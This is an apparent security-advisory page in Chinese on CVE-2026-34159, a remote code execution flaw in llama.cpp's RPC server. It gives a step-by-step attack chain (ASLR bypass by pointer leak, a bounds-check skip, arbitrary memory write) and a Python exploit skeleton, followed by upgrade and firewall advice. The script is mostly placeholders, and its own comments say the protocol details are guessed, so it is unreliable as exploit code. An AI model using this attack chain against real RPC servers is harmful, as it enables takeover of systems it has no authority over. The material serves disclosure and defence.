IPBUF安全漏洞报告
English
CVE-2026-34159 CVSS 9.8 严重

CVE-2026-34159 llama.cpp 远程代码执行漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34159
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
llama.cpp

相关标签

RCEllama.cpp内存破坏RPCASLR绕过

漏洞概述

llama.cpp是一个用C/C++实现的LLM模型推理库。在b8492版本之前,其RPC后端存在一个严重的漏洞。由于`deserialize_tensor()`函数在处理张量时,当缓冲区字段为0时会跳过边界验证,未经身份验证的攻击者可以通过发送精心构造的`GRAPH_COMPUTE`消息,实现对任意进程内存的读取和写入。结合`ALLOC_BUFFER`和`BUFFER_GET_BASE`操作导致的指针泄露,攻击者可以绕过ASLR(地址空间布局随机化)保护,进而在目标系统上执行任意代码。该漏洞利用无需认证,仅需能访问RPC服务器的TCP端口。

技术细节

该漏洞发生在llama.cpp的RPC后端处理逻辑中。核心问题在于`deserialize_tensor()`函数缺少必要的边界检查。当函数检测到张量的缓冲区字段为0时,它会错误地假定不需要进行边界验证,从而允许处理无效的内存地址。攻击者首先利用`ALLOC_BUFFER`和`BUFFER_GET_BASE`消息交互,泄露进程内存中的指针地址,从而计算出基址以绕过ASLR。随后,攻击者发送恶意的`GRAPH_COMPUTE`消息,利用之前绕过的检查机制,向计算出的任意内存地址写入数据。由于能够控制指令指针或覆盖关键内存区域,攻击者最终能够获得远程代码执行权限,完全控制服务器。

攻击链分析

STEP 1
信息收集
攻击者扫描目标网络,发现开放的llama.cpp RPC服务器端口(默认可能为50051)。
STEP 2
指针泄露
攻击者向RPC服务器发送ALLOC_BUFFER和BUFFER_GET_BASE消息,利用服务器响应获取内存中的指针地址,从而计算基址以绕过ASLR保护。
STEP 3
绕过边界检查
攻击者构造特殊的GRAPH_COMPUTE消息,设置张量的缓冲区字段为0,触发deserialize_tensor()函数跳过边界验证的代码路径。
STEP 4
任意内存写入
利用跳过检查的漏洞,攻击者向之前计算出的任意内存地址(如函数指针或返回地址)写入恶意数据。
STEP 5
远程代码执行
当程序执行流跳转到被篡改的内存地址时,攻击者的Shellcode被加载并执行,从而获得目标服务器的控制权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Conceptual PoC for CVE-2026-34159 # This script demonstrates the logic to exploit the deserialization issue. # Specific protocol structures are inferred from the vulnerability description. def send_rpc_message(sock, msg_type, data): # Construct a hypothetical RPC header and payload # In a real scenario, this would match the llama.cpp RPC protocol header = struct.pack('<I', msg_type) + struct.pack('<I', len(data)) sock.sendall(header + data) def exploit(target_ip, target_port): print(f"[+] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Step 1: Leak pointers to bypass ASLR (ALLOC_BUFFER/BUFFER_GET_BASE) print("[+] Leaking pointers...") # send_rpc_message(sock, ALLOC_BUFFER, ...) # send_rpc_message(sock, BUFFER_GET_BASE, ...) leaked_base = 0xdeadbeef # Placeholder for leaked address print(f"[+] Leaked base address: {hex(leaked_base)}") # Step 2: Craft GRAPH_COMPUTE message with buffer=0 to skip validation print("[+] Sending malicious GRAPH_COMPUTE message...") # The payload is designed to trigger the missing bounds check # Target address to overwrite (e.g., return address or function pointer) target_addr = leaked_base + 0x1234 shellcode = b"\x90" * 100 # Placeholder for shellcode # Constructing the malicious tensor data # This simulates passing a crafted tensor that bypasses checks exploit_payload = struct.pack('<Q', target_addr) + shellcode # Send the exploit message (assuming GRAPH_COMPUTE type ID is 0x05) send_rpc_message(sock, 0x05, exploit_payload) print("[+] Exploit sent. Check for shell.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit("127.0.0.1", 50051)

影响范围

llama.cpp < b8492

防御指南

临时缓解措施
建议立即将llama.cpp升级至b8492或更高版本以修复此漏洞。若暂时无法升级,应严格限制网络访问,通过防火墙规则仅允许本地回环或受信任的内网IP访问RPC服务端口,并监控异常的网络流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表